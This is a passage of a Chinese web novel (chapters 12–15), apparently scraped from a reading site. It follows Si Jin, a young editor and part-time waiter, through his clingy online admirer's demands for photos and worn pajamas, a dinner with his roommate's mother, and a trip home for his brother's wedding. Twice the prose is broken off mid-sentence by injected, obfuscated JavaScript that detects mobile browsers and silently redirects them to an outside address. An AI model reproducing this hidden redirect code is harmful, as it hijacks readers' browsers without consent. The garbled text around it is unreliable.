他发完正准备关上手机,却看见随便秒回了。 随便:【晚安宝贝,明天海城降温,你可以穿我给你买的那件灰色长羽绒服,记得给我拍张照片哦】 随便:【爱你,好梦】 司谨一怔,心虚和惊慌在脑海中炸开。 完了,随便说的这件,他卖给了那个男生。 一整晚司谨都没能睡好,梦里都是随便质问他为什么要把衣服卖掉,然后忽然跑到他身边来,像怎么都甩不脱的鬼魅。 在连环梦的冲击下,第二天早上司谨被闹钟吵醒时,睁开眼甚至有种自己一整晚没睡着的错觉。 好累。 临出门,他还是换上了另一件羽绒服,遵守约定在楼下顶着清晨阳光给随便拍了一张照片。 随便还没有上线,应该是还在睡觉。 不过这种情况司谨是生怕他秒回,这会儿松口气将手机揣进兜里,就去赶地铁去了。 等赶到公司时间还差五分钟,他刚进电梯就看见两个同事已经在里头了,右边的显然是正似笑非笑打量他的谢子奇。 “早啊。” 司谨点点头:“早。” 因为上周的事情,他现在还是不怎么想搭理谢子奇,但无奈对方要主动搭话。 “司谨好像都转正大半年了吧,听说你是余城人,以后是打算定居海城,还是回老家发展啊?” 司谨敷衍回答:“还不清楚,以后再说吧。” 另一个同事笑了,说:“我和司谨一样都是外地的,真羡慕子奇本地人,父母还给买好了车,每天都不用跟我们一起挤地铁。” 谢子奇被夸显然有些得意,说:“没事,正好我们顺路,以后你要不方便我也能跟今天一样带着你。” “那就麻烦你了。” 电梯门打开,司谨不想再继续听后面的动静,快步走了出去。 可谢子奇却大步追了上来,还很自然搭住了他的肩膀,一副跟他关系很好的样子。 “诶,我们上周五晚上一起去聚餐,你怎么又缺席啊。” 司谨皱皱眉头,想要推开他,但看见不少同事盯着,还是没有动作。 他不明白,明明这些同事之间的关系也算不上很好,他还时常在茶水间听见有人在说同事的坏话,可这些人一到下班时间就要聚在一起。 “我没有时间。” “你也太不合群了。”谢子奇 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皱着小脸打半天字,他有些害怕随便会生气,可又觉得欺瞒不是长久的办法,以后说不定还要用别的谎言来圆。 纠结之间,有人将外卖袋子放在他面前。 “司谨,这是你点的那份。” 是谢子奇,他说话时就站在司谨身后,在司谨转身的时候还看见他正伸着脖子,似乎是想要看清楚手机上的内容。 一怔,他连忙摁下手机的灭屏按钮,然后低声道了谢。 谢子奇站直身体,故作不在意:“跟谁聊天呢这么着迷,该不会是谈恋爱了吧?” 司谨将手机反过来合在桌面上,不想跟他多聊:“没有,谢谢。” 这种带着拒绝含义的冷淡话语说出口对他而言还是有些费劲的,这会儿感觉到谢子奇还盯着自己的头顶,他心里就止不住发毛。 可是随便之前说,回答的话越简单越好。 谢子奇该不会还要继续追问吧。 心里打着鼓,手上却很利索把外卖包装拆掉,搓搓筷子准备开始吃饭了。 没多久,等他再转头的时候,就发现谢子奇已经走了。 眼睛微微发亮,司谨既诧异又惊喜。 打开手机下意识就想要跟随便分享成果,可手机屏幕亮起,他却发现自己刚才纠结半天还没写完的消息已经被发出去了,此时页面上都是随便的刷屏。 随便:【宝宝为什么要这样做,我真的很生气】 随便:【是我之前对你太好了吗?让你觉得我说的话都不用听】 随便:【我说过不需要贵重的礼物,你照顾好自己就够了】 随便:【况且那是我给你买的,为什么你要卖给别人!】 司谨抿抿嘴唇,自觉理亏,只好哄他。 北极生活的小熊猫:【对不起,你不要生气,还有几件衣服还没有拍给你看,等我下班回家给你发好不好?】 他不知道用什么办法可以缓和随便的怒火,这条消息发出去的时候还觉得尴尬,万一随便其实并不是很想看呢?那他岂不是太自以为是了。 等待途中心情万分忐忑,片刻后却收到了出乎意料的消息。 随便:【我想要看别的照片,可以吗?】 随便:【猫猫头动耳朵JPG】 12.第 12 章 结束了午休,司谨将手机放在旁边,起身接了一杯温水。 微凉的手背贴了贴脸颊,触到了一手的滚烫。 “司谨,你脸怎么红成这样?”女同事进来泡咖啡,见状也抬手挥了挥,“我也觉得今天空调温度高了,一会儿把窗户开开通风吧。” 司谨抱着水杯点头:“好。” 回到位置上,他脑子还飘着随便提的那个要求。 啊! 怎么这样。 摸了摸脸,他有些懊恼,可是都已经答应了。 只是等点开了邮箱,他看着一大堆还未审核的稿件,又没了再想东想西的时间,开始认真审起了稿件。 今天的进度很顺利,从他手中递交总编二审的稿件都通过了,临下班前还审到了一个很不错的开头,作者自带的历史成绩优秀到让他以为是自己工作太累产生的幻觉。 忙不迭带着作者走合同流程,身后忽然传来总编的声音。 “橙子,寄神乐那个作者你得多分心,她先前成绩很优秀。” 司谨回神,连忙点头:“好,我会的。” 总编并未多言,找另一位老编辑低声说些什么,司谨正要低头收拾东西,就察觉到不远处谢子奇打量的目光。 猜到对方也熟知这个作者名字,所以司谨即便紧张,但也遵循先前随便的提醒,没有和谢子奇产生任何视线交汇。 但等他收拾着东西,就听见谢子奇起身离开的声音。 他转头看过去,发觉谢子奇是朝着总编办公室去了。 心底隐隐不安,但已经到了下班时间,他还是没有浪费时间,直接离开了。 只是等到第二天下午,每周会议结束过后,总编却特意将他给留了下来。 其他编辑都利索起身离开,只有谢子奇朝着他的方向看过来,似乎是在期待什么。 “橙子,你转正也有大半年了,现在工作还能应付过来吗?”总编是个很有阅历的中年女人,她手上带出过许多爆款,据说是他们公司高价挖来的。 司谨已经逐渐习惯了她的雷厉风行,但这会儿还是有些紧张。 “可以的,我能忙过来。” 总编闻言点了头,略带思忖道:“寄神乐这个作者很有名气,你先带着他,如果后面有什么困难的话随时找我,这本书如果还算顺利,我们之后可以尝试跟他签驻站合同,所以你这边至关重要,虽然这些不是你来谈,但还是要体现出我们公司的专业性。” 司谨能够明白她的意思,他连忙答应,同时也松了一口气。 其实他也没有笨到那个程度,谢子奇的为人他很清楚,被留下的时候他还以为总编会跟他说这件事。 “好,没什么大事了,去忙吧。” 司谨点头,起身离开。 回到自己的位置上,他长舒口气。 “诶,橙子,总编和你说什么了?”边上的同事忽然小声打听,“该不会是让你把那个大神作者交给谢子奇吧。” 司谨摇头:“没有,只是问了一些情况。” “这样啊。” 同事没有再多说什么,将脑袋收了回去。 司谨的心跳有些快,他能够感觉到谢子奇好像正在打量他,但他并不打算去在意,只是打开待机的电脑,回复作者的消息。 滴滴两声,访心发来了消息。 随便:【下午茶时间,累】 随便:【宝贝在干嘛?】 在司谨自己都没察觉到的地方,他看见随便的消息,表情就不自觉放松了。 北极生活的小熊猫:【在工作,你最近很忙吗?】 随便:【公司要开发新项目,合伙人不让我走,昨晚通宵了】 司谨微微蹙眉,觉得有点辛苦。 自从昨天他答应了随便的请求后,随便就开始和他聊起了身边的事情,司谨原本对他的印象是无所事事的公子哥,毕竟最开始他每天都秒回消息,而且看起来对什么事情都很不上心,特别清闲的样子。 现在了解过后才发现不是这样,心中的印象逐渐好了些。 北极生活的小熊猫:【那什么时候可以休息啊?】 随便直接发了一张图片过来。 桌上堆着很多文件,亮起的屏幕是满满当当的日程表,一只骨节分明的大手正握着鼠标,露出了一截小麦色的有力手腕。 随便:【忙完这些,就能继续忙了】 司谨回过神看看周围,确定没人才把图片放大,一眼看过去时间排的很满,下午会议,晚上还有什么活动要参加。 好忙啊。 司谨也不懂这些,只好让他多注意休息。 随便:【有点头晕,这些字看得头疼。】 司谨微微蹙眉,想要叫他趁着休息时间看看远方,不要再玩手机了,可消息还没发出去,就被随便的下一句话给惊得顿住了打字的动作。 随便:【好想看宝宝的照片,养养眼】 随便:【好不好?】 随便:【买的衣服还没有到,中间难道都看不见宝宝吗?偷偷拍一张上班的宝宝给我看】 随便:【宝宝,回我】 司谨有些不知所措,他转头看了一眼都在忙的同事,有些不好意思。 【我在上班,而且眼睛不舒服的话,还是最好不要看电子产品了,你去休息一下吧】 是很委婉的拒绝。 随便:【想看宝宝,否则又要忙到半夜了】 司谨不知道这两者之间到底有什么关联,他的照片根本没有那种放松的效果。 可是这段时间随便也帮了他很多,他看着那些苦苦哀求的消息,脑海中就浮现了一个可怜兮兮的形象。 这样拒绝很不礼貌吧,随便也会不高兴的。 把手机放进口袋里,他起身去了茶水间,趁着里面没人,有些紧张打开相机前置,对着自己拍了一张。 他害怕有人看见,手一抖照片就有点糊了。 泡了一杯速溶咖啡,他回到位置,看也不看就把那张照片发了过去。 随便那边半天没了动静。 司谨喝了口咖啡,将惊慌压下去,半天看向手机,发现随便没有回复,又有点奇怪。 难道是拍的不好看? 点开照片看了一会儿,他只觉得是有些模糊,窗户外面的光跟他的侧脸贴在一起勾勒出光晕,仰视的角度使得他脸上的紧张格外明显,一双圆而大的眼睛盯着屏幕的方向,也显得很呆。 怎么拍了张这样的。 司谨搓搓脸,点开右下角的编辑账号,开始回复列表里的作者消息。 【橙子编辑 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只是……这尺寸好像大了不少。 司谨在镜子前面比划了一下,发现领口大了一圈,袖子和裤腿也长了一点。 怎么看都觉得奇怪,但是布料摸起来是真的很舒服。 他想了想决定去问随便。 不过看见这衣服以后他也松了口气,那时候随便说想要看别的照片,他还以为会是什么不对劲的东西,没想到只是睡衣而已。 随便:【喜欢吗?】 随便:【原本应该不合身,特意让人改过,袖口和裤腿改短了】 司谨不是很懂为什么不买合身的,但还是跟他道了谢,表示自己洗完澡以后就换上给他拍照片。 随便:【宝宝,你的旧睡衣呢?】 这条消息有点奇怪。 司谨如实回答,告诉他明天要洗掉,等晒干了下次换着穿。 随便:【我再给宝宝买两套睡衣,宝宝这套给我好不好?】 司谨呆坐半天,没能理解他的意思。 【给你?】 随便:【宝宝寄给我】 司谨脸腾地一下红了。 哪有这样的?怎么会有人找别人要旧衣服。 北极生活的小熊猫:【你要我的衣服干什么?你也穿不下】 司谨又瞥了一眼对方的头像。 随便:【我想收藏宝宝的东西,明早就寄出来,好不好?】 司谨觉得这样不太好,可是也说不出拒绝的话,犹豫片刻,回复他。 【可是我没有烘干机,就算今天晚上洗掉,明早也干不了,过两天再寄可以吗?】 他看了一眼枕头边上堆着的米白色棉质睡衣,忍不住拿起来看了看。 最上面的纽扣松松垮垮的,睡衣被他穿旧了,布料有一点泛白,这种衣服要拿去干什么? 随便:【不要洗,用袋子装好,直接寄给我】 随便:【到了以后我用让保姆洗就可以了,不用麻烦宝宝】 司谨皱皱眉头,半天还是拗不过随便,答应了下来,可却总觉得哪里不对劲。 13.第 13 章 因为随便说寄来的睡衣是提前清洗过的,司谨也闻到了类似洗涤剂的香味,所以当天晚上拍完照片就乖乖穿着上床睡觉了。 只是临睡前,他还是忍不住想起来那张睡衣照片。 因为领口实在有些大,他拍的时候不免露出大片的胸前皮肤,柔软的布料抬手时顺着滑落,露出一截瓷白的小臂,在昏暗的照片背景中显得很突兀。 不过随便很喜欢,说他有点瘦,叫他要多吃点饭。 司谨还很认真跟他掰扯了自己的饭量,他其实很能吃的,以前在老家读书的时候下了课就要去帮家里搬东西看店,到了丰收季节还要回老家的田帮忙,所以他一直都吃很多。 只是因为从前营养不良,身体怎么说都跟健壮不搭边。 他原以为随便听后会不相信,或者觉得很夸张,毕竟从前在学校的时候,别人看见他一大早吃很多,都会用有点异样的眼光看着他。 只是他没想到,随便对他的却只有夸奖。 【那就好,你喜欢吃辣吗?京市有一些特产你应该会喜欢,可以留着空闲时候当零嘴】 司谨有些心动,所以也答应了他寄出特产的请求,决定等自己过年回家了,也要赠送一些自家的东西给随便。 说起来也很奇怪,最开始他们聊天只不过是为了消除矛盾,而宋晓西给他的任务也只是缓兵之计,让随便不要做出那样疯狂的事情。 可在这些相处之间,他们两个的关系却好像越来越好了,以至于司谨已经习惯了每天跟他分享自己的生活。 只是在有些时候他会醒悟过来,看见屏幕上排列密密麻麻的宝宝称呼,心里还是会有一些别扭的感觉。 他其实很清楚,随便是把他当做什么身份来对待的,可是他并没有打算真的在网上和随便谈恋爱,而且他也不是很喜欢男生,这段时间他偶尔会想要旁敲侧击打听一下随便的想法,可是都被对方用很巧妙的方式给避开了。 这么一聊就是大半个月,距离过年逐渐近了。 前段时间随便一直询问司谨什么时候回家,司谨其实很不想回去,便只是说那时看看情况,毕竟大哥结婚,他不回去的话肯定是不合适的。 公司放假以后他在一粟帮忙几天,在司志义的电话催促下还是定了第二天的票。 上午在餐厅正忙着,不远处的A区传来了玻璃碎裂的声音,司谨回过神来,给面前的客人倒完酒,然后便快步朝着那方向走去。 “客人实在抱歉,我不是故意的。” 出问题的人是刘有意,司谨听别人说他这段时间家里好像出了什么事情,所以状态都不是很好。 这会儿出了错也只是有些呆愣地站在原地,没有要去喊领班的意思。 司谨抿抿嘴唇,其实不是很想去帮他,但犹豫片刻还是上前,将桌上的东西清理干净。 “实在不好意思客人,我这边立马清理干净,或者为你们换一张餐桌可以吗?” 坐在桌前的是两个中年女人,身上穿着的衣服看起来价格很是高昂,边上座位放着的包也都是司谨都听说过的名牌,这会儿餐桌上的酒杯倾倒进餐盘里,酱汁溅出,将餐布都弄脏了。 最近座位上的女人闻言抬眸朝着他看过来:“你们的服务生未免也太不专业了吧。” 她说着又看了眼刘有意,不大高兴的样子,紧接着领班程姐来了,她听过道歉后不耐烦道:“给我换个服务生,我不想看见他。” 程姐闻言立马看向了司谨:“你来处理这边吧,刘有意先跟我过去一趟。” “好的。” 司谨倒是没有太多情绪,他早就习惯了。 此时帮着两位客人换了位置,又给她们赠送了一道招牌甜点,离开以后远远看着,确定没有再影响到她们的心情,司谨才骤然松了口气。 只是等他再上去倒酒时,女人忽然拿起手机点开一个坐标。 “你好,你知道这个地方吗?” 女人的声音带着些京市的口音,听起来很强势,是电视剧里面才会出现的。 司谨愣了一下,注意力放在屏幕上,很快就辨认出来。 “星云城吗?我知道的。” “离这里不远吧。” “不远的,小区里也很好停车。”司谨大致猜到她们想要问什么,便一口气说了。 女人点点头,跟对面的朋友交换了一个眼神,便起身离开。 司谨适时让开路,原以为这一桌就这么结束了,可那个问路的女人起身后居然转头将几百块的小费塞进了他的餐盘中。 “这是给你的,服务很不错。” 司谨受宠若惊,忙冲着她礼貌颔首:“谢谢您。” 等女人离开他才松口气,看着其他服务生将桌子收拾干净,而没多久刘有意便回来了,只是眼神一直死死盯着他,似乎非常不高兴。 司谨猜测他估计又要把这个账算在自己的身上,心中有些无奈,但还是没有跟刘有意说什么。 他跟这个人实在是合不来,多说无益。 结束了上午的工作,在休息间里不少人在打听司谨上午收到富婆打赏的情况,而刘有意站在边上一言不发,是难得的话少。 “诶刘哥,你今天怎么得罪她们了?不就不小心摔了个东西吗,至不至于。” 有跟刘有意熟悉的员工开始帮他说话,而刘有意闻言也只是冷笑一声,说:“这种人就是觉得自己牛逼呗,全世界都要围着她们转,虽然看着挺有钱的但也一大把岁数了,真以为自己了不起呢。” “就是。” “刘哥你也别生气了,说不准她们就是看中了司谨,所以故意要换人呢。” 这么一来,话题中心又成了司谨。 他抱着饭盒皱皱眉头,有些不高兴:“为什么要这样评价客人?她们明明是消费者,我们做错了事情,她们生气也很正常,而且也没有刁难人吧。” 如果换做从前,他可能不会有勇气这么说,可是他现在是真的听不下去了。 “啧,司谨怎么还帮着她们说话,是不是那个富婆在小费里给你塞了联系方式啊?” “还真有可能,看来我们一粟要出下一个lex了。” 几人嬉笑着,没多久便有人看不下去了。 “你们行了啊,一会儿编排客人被程姐听见,你们可别在这喊冤。” 司谨不大高兴,但看了眼那几人的嘴脸,最终还是没有多说什么。 他知道跟这些人争辩只是浪费时间,他们一直都是这样,以后总会吃到教训的。 想着,将大半盒饭吃干净,他洗完饭盒收拾背包,跟程姐打了个招呼就回家了,地铁上忍不住将这件事情告诉了随便。 随便:【宝宝做得很对,跟这些人产生冲突没必要,万一自己吃亏就不好了】 司谨脸有点红,他只是把事情简略说了一遍,并没有过多描述,但随便夸赞完便开始询问起了细节。 他很有耐心,等司谨回过神来,他已经把整个经过都复述了出来。 随便:【这么恶臭】 随便:【宝宝可不可以不要在那里兼职了,好辛苦】 司谨就知道他会这么说,这会儿很认真回答他不行,正好看见到站,便结束了和随便的聊天,朝着星云城的方向走去。 今天上完班,他明天的车票回老家,在那里过完年才回来工作。 别的同事回家时都显得很高兴,可是他却没有过多喜悦,对他而言回到那个人多的家里,还不如孤零零待在出租屋里面舒服。 他又想到了自己的室友,这段时间他们都很少遇见,燕绥安似乎是特别忙,也不知道是不是回家去了。 心事重重回到家,进门时司谨还在思考着要带哪些衣服回家,就在俯身换鞋的时候看见玄关放着一双红色的漆皮高跟鞋。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027314|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他愣了愣,意识到什么,有点不高兴。 说好不能带人回来呢,燕绥安该不会把女朋友带回家了吧。 换好鞋子犹豫着走进客厅,他看见燕绥安的房门半掩着,里面传出说话的声音。 他还是没有当着燕绥安的面直接提意见的勇气,所以只想要快点回房间,之后再给燕绥安发消息。 可刚走到房门前,斜对面的房间门就被推开,穿着羊绒大衣的中年女人出来,手上还拎着鳄鱼皮的昂贵小包,正训斥着身后的人。 “快过年了,你大哥大姐都能抽出时间,你还待在海城做什么?知不知道你爸——” 话音未落,她看见忽然出现的司谨,顿住了话音。 司谨跟她对上视线,有些惊讶,这就是今天在餐厅给他小费的那位女士。 “您好。”他大致有了猜测,看了一眼后面出来的燕绥安,小声补充了一个称呼,“阿姨。” 燕绥安看着有点不高兴,不知道是不是被女人唠叨烦了,只随意道:“这是我室友。” 说完又看向司谨,介绍:“这是我妈,她今天来看看我,一会就走。” 封冉悦也认出了司谨,笑道:“我们都见过了,今天中午正好在他餐厅吃的饭,还是他给我指的路。” 面对长辈,司谨有些拘谨,不想打扰他们相处,便道:“那你们先聊,我回房间了。” “好。”封冉悦又想到什么,“对了小司,我们两小时以后去吃饭,位置已经订好了,你也一起来吧。” 司谨着急看了眼燕绥安,连忙摇摇头:“阿姨,还是你们去吧,我……” “不用不好意思,本身就定了你的位置。”封冉悦长得很美,笑起来的时候很温柔,“我们家绥安的脾气不太好,你跟他住在一起多多担待,我早知道他有室友,今晚就是咱们三个一起出去吃个饭,阿姨也认识认识你,好不好?” 面对这样有礼貌的邀请,司谨很难拒绝,只好僵硬地点了头。 “好,那就麻烦了。” 他答应完,又忍不住去看后面的燕绥安,毕竟他不觉得燕绥安能够接受自己和母亲吃饭的时候多个外人。 可是燕绥安却没有半点反应,跟着女人一起朝着客厅走去,中途只扫了他一眼,看起来没有半点意见。 司谨回到房间,心情有点儿沉重。 外面的说话声音挺大的,燕绥安似乎和她妈妈去了阳台,声音可以从窗户那边传进来,司谨并不想偷听,便打开了手机的音乐听着,顺便把行李箱从床底下拖出来,准备先把行李收拾了。 等到房门被敲响,他正将行李箱拉上,抬头才发觉天都黑了。 出门的时候燕绥安换了一套黑色的休闲服,外套领口拉到最上,遮盖住了一截下巴,显得很冷酷。 他坐在副驾驶,司谨就被他母亲带着上了后座,一路听着对方的热情交谈。 “绥安他平时脾气不好,有没有跟你闹过矛盾啊?” 司谨看了一眼前面的座椅,摇头:“没有的,我们平时工作都很忙,很少遇见。” “这样啊。”封冉悦笑了,“你一看就是乖孩子,是哪里人?过年不回家吗?” 司谨诚实回答:“我是余城人,明天上午就回老家了。” “余城啊,那挺远的。” 身边人正说着,司谨就察觉到副驾驶的人回过头,抬眸就对上了燕绥安略带不悦的眼眸。 “你明天回家?” 司谨一跟他说话就紧张:“是。” 封冉悦忍不住瞪了自己儿子一眼:“你看看人家小谨,一放假就要回家,你倒好,还说今年不回家过年,回头一个人待在海城就知道无聊了。” 燕绥安把头转了过去,扭头看向窗外,是抗拒沟通的姿态。 “你看看,又这样!” 封冉悦气得不行,司谨如坐针毡,没敢说话。 14.第 14 章 吃饭的地方很高级,司谨很少来这种城市上端的餐厅,坐在窗边向下看的时候有一种恐惧感。 起初有些局促,但好在燕绥安的母亲很和善,主动询问喜好给他点了菜,中途也打听了些关于的家里的事情。 司谨没有说太多,原以为燕绥安会听着不耐烦,可对方今天就跟没打气似的,全程没说过一句话,有时竟然还主动抬起头看向他,像是对他的事情也很好奇。 “你哥哥结婚啊,这倒是大事,你父母着急让你回去也不奇怪。” 触发关键词,封冉悦当即转向燕绥安,开始叹气。 “你大哥大姐都忙得很,你这个做弟弟的也该有点表示。” 燕绥安的脸色有些阴沉,似是觉得搞笑:“他们不结婚,跟我有什么关系?” 封冉悦啧他:“他们是忙工作,你呢?要是你带个头先找个女朋友,他们肯定也紧跟着知道结婚的好了。” “女朋友就算了,您要是愿意让我带个男朋友回家,那我可以考虑一下。” 听见燕绥安这句话,司谨有些惊讶。 可还没等他想多,就看见燕绥安的母亲抬手拍了下他的手臂,脸上还带着笑,是很无语的模样,显然是习惯了他这么说。 原来是开玩笑啊。 松了口气,他没敢插话。 一顿饭吃完,燕绥安的母亲将他们送回了星云城,去酒店之前还嘱咐燕绥安晚上收拾收拾行李,明天跟她一起回京市。 封冉悦没好气跟自己儿子嘱咐完,又转头冲着司谨笑:“小谨,阿姨给你带了点礼物,等回去以后让绥安给你,下次有机会让他带你来京市玩。” 司谨自然不会将这些客套话当真,礼貌冲她点头道谢。 等车开走了,他转头发现燕绥安已经走进了大门。 连忙跟进了电梯,他小小舒了口气,主动搭话:“原来你是京市人啊。” 他还从来没有去过呢。 燕绥安嗯一声,脸上没什么表情,看上去不是特别高兴。 “那你为什么要到海城来?那边发展不是更好吗?”司谨有点紧张。 燕绥安没有立马回答,正当司谨觉得可能是自己的问题有些冒犯时,听见身边人不咸不淡的声音。 “不想离家太近,你也看见了。” 电梯叮的一声打开,他率先出去,察觉到司谨还有些愣怔跟在后面,忽然伸出手一把捉住他的手腕,将他给拉了出来。 “磨磨蹭蹭的。” 司谨抿抿嘴唇,小声说:“为什么啊?你妈妈看起来人还挺好的。” 虽然是有些唠叨,但是他能够看出来,燕绥安的母亲对他很是上心,还在家里的时候说他就住在这么小的房子里,语气里的心疼一点也不假。 燕绥安打开门,随手将外套脱了挂在玄关,说:“就是太好了。” 司谨没怎么听懂,可是他能够感觉到燕绥安不是很想聊这个,所以只是点点头,没有再继续问下去。 每个人的情况都不一样,也许燕绥安的家里也有很多复杂的事情。 原本想回房间,燕绥安却喊住了他,让他把礼物拿走。 司谨被他一提醒才想起来这件事,忙站定在房门前,等着他出来。 燕绥安走进自己房间,又想到什么似的,反手将门掩住,片刻后将装着礼盒的纸袋递给他。 “谢谢你,也谢谢阿姨。”司谨有点不好意思收礼物,但看了眼燕绥安冷漠的表情,还是没敢说出拒绝的话。 燕绥安嗯一声:“你明天几点的车票?” 司谨想了想:“早上六点多的。” “……” 燕绥安沉默两秒,还是说:“我送你吧,顺路。” 司谨睁大眼睛,连忙拒绝:“不用了,我自己过去就好。” 这里距离火车站也不是特别远,他打个车也不需要多少钱。 “我早上也得出门,就这么说定了。”燕绥安没给他拒绝的机会,“明早我来叫你。” 说完,他回到房间关上门。 司谨在自己房门前愣了好一会儿,才抱着盒子回去。 封阿姨送的礼物是一条很柔软的羊绒围巾,浅灰色格子的花纹,是很百搭的风格,底下还有张知名商场的一万消费卡。 司谨有些吃惊,又用手机搜索了这条围巾的品牌,看见价格的时候只觉得自己眼睛出问题了。 这么贵。 他知道燕绥安的家庭很好,可是也没想到他们会随手送一个陌生人这么贵的礼物,早知道是这样的话,他就不收了。 这些礼物给了他莫大的压力,这会儿心情居然也变得有些沉重了。 睡前,他回复随便的消息,将明天回家的事情跟他说,收到对方提醒他别忘带东西的消息时,他有点忍不住想要将今天发生的事情和随便说,可是等转念一想,随便也是这样随手送东西的人,如果听见以后更加肆无忌惮给他买东西,那该怎么办。 纠结了一晚上,他还是没能说出来。 抱着被子迷迷糊糊睡着,第二天一早闹钟刚响,房门就紧跟着被轻叩了两下。 着急忙慌起床,司谨不敢让他多等,开门以后看见外面的燕绥安已经换了衣服,忙道:“我现在就起床。” 着急收拾自己,他没有察觉到燕绥安从他宽松领口扫过定格两秒的目光。 昨夜已经将行李都收拾完了,他将衣服换了简单洗漱,将充电器放进包里,便拉着小行李箱出了门。 “我好了。” 燕绥安坐在客厅等了他十分钟,闻言抬起头,却皱了皱眉。 “你穿的什么衣服?” 司谨将拉链扯上去,听见燕绥安的话,顿时觉得有些局促。 “这是……” 他低头看了看,没觉得哪里不对劲。 这是他原先的旧外套,其实也挺厚的,就是没有那么轻盈,这次回老家他带的都是旧衣服,否则回头被司鹏看见,说不定又要觉得他在外面赚了大钱,一个劲伸手找他要。 燕绥安冷声说:“你们老家还有着装规定?只能穿旧衣服。” 司谨被他说的脸红,摇摇头小声说:“不是,我们走吧。” 他不想跟燕绥安解释太多,好在对方虽然脸色阴沉,但还是合上手机起身跟着他出门。 上了车,司谨总算有时间腾出手机看消息,随手给随便发了个早上好。 正退出准备看看火车站里面的早餐店,就听见车内传出叮咚一声。 看了一眼燕绥安搁置在中间凹槽的手机,司谨心中有些微妙的感觉,但还是收回了目光。 抵达火车站,司谨让燕绥安先等等,然后以最快的速度冲到附近的早餐店,将路上提前点好的早餐拎回来,递给了燕绥安。 “你一会儿记得吃,谢谢你今天送我过来。” 道过谢,他又顺便询问了燕绥安之后的安排。 燕绥安看了看那早餐,说了句谢谢,继而无精打采道:“去酒店找我妈,然后回家。” “那,祝你一路顺风。” 司谨将车门关好,冲他挥挥手。 燕绥安随意一抬手,便将车开走了。 等司谨上了火车,才收到随便的回复。 【宝宝早上好,上车了吗?今天海城降温,你穿什么衣服回家?】 司谨没有买到靠窗的位置,此时双臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032271|162171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被迫缩紧,打字有点艰难。 北极生活的小熊猫:【我上车了】 他本想说自己穿了随便买的衣服,可是刚打出两个字,就想到随便可能会让他拍照。 纠结片刻,他说了实话。 发过去很久,又忍不住加了一句解释。 【你送的那些衣服都太贵了,如果穿回老家的话,我家里人肯定会误会的】 随便:【原来是这样,都怪我没想到这些,宝宝不用道歉】 随便:【那等到了地方,宝宝去店里随便买一件好不好?过年总要穿新衣服的,我给宝宝转账】 司谨见状连忙拒绝。 【不用了,我会买的,你不要转】 对方软磨硬泡半天,最终还是妥协了。 两个多小时后下了火车,随便还在催促,司谨只好就近找了一家小店,买了件很简单的长款棉服。 他直接穿上出门,给随便拍了一张照片。 外面有些冷,他的鼻尖微微泛红,脸颊也是红彤彤一片,小跑着上了大巴车,不久后便看见了熟悉的村口。 车上的味道不太好闻,司谨下车时浑身都不舒服,拖着行李箱走进村子,过年村子里人多了不少,不少人站在远处打量他。 等进了自家院子,就听见里头传出李美花的声音。 “就要办事了,新房都还没布置,淑英问过司谨什么时候回没?” “不是说今天车票吗?”司淑英正说着,一抬头就看见自己弟弟拎着行李箱进了门,“哟,这不是回来了。” 司谨逐个打了招呼:“妈,姐姐。” 李美花松了口气,看了眼他风尘仆仆的模样,忙过来接他的行李箱。 “好了,洗洗手赶紧帮忙收拾去,你大哥正在外头找车队呢。” 司谨不太懂这些流程,只知道大哥的婚礼就在明天,便问:“酒席是自己办吗?” “你大哥找了镇上的酒店,他们会把菜送过来,明天就在祠堂上面那块空地办,你明天要早点起帮忙接亲,酒席也要帮忙摆桌子端菜。”李美花说个不停,随手丢给他一双袖套,着急忙慌又出门去干别的了。 司谨把袖子整理好,帮着大姐将明天要用的碗筷从杂物间里面搬出来。 “你在外头工作怎么样?”大姐司淑英问。 司谨小声说:“就跟之前一样,转正了。” 司淑英叹道:“你说你跑这么远干嘛?在余城市里头找个工作不是一样的。” 司谨没有接话,倒是二姐司淑美插话道:“大姐你不懂,大城市跟我们这里完全不一样的好吧,长长见识多好啊。” “就你会说。”司淑英常年跟她斗嘴,“等你以后化妆学成了,是不是也要去海城啊?” 司淑美打扮得很漂亮,司谨这会儿能看见她脸上的妆容也很精致,便夸了一句:“二姐化的妆是好看,跟我在餐厅看见的模特那些差不多。” 一粟周围有一家模特公司,时常有人顶着张精致的妆容下来吃饭。 “你就夸吧,回头她又要臭美。” 司淑美有点得意,扭头去看司谨,说:“回头二姐来投奔你,咱们就再也不回这破村了。” 司谨知道她是故意在气大姐,笑着随口答应下来。 忙碌了一整天,司志义和司鹏晚上在饭桌上又是一顿长篇大论,司志义教育完自己马上要结婚的儿子,又逼着桌上的小辈都喝了几杯。 好不容易下了桌,司谨蹲在院子外面透气,喝得有些多脸颊发烫,看手机都有些发晕。 下一秒,看见微信多了一个好友申请。 【小谨,我是封阿姨,加你了解一点事情,记得通过】 15.第 15 章 迷糊的大脑被外头的冷风一吹,加上这条消息带来的冲击,使得司谨脑海中的醉意淡了几分。 他立马通过了好友申请,主动给封阿姨发了晚上好。 封阿姨:【小谨顺利到家了吗?我和绥安也回京市了】 司谨:【上午到了的,阿姨加我有什么事】 封阿姨:【你和绥安是室友,等过完年又会在一起,但是绥安他的性格太独立了,很多事情都不和我们说,搞得我和他父亲总是很担心,想着你们平时都待在一起可以见到,想要让你帮阿姨看着他,他要是发生了什么事情,你第一时间告诉阿姨就行】 看完,司谨松了口气。 这也不是什么大事,他当然不会拒绝。 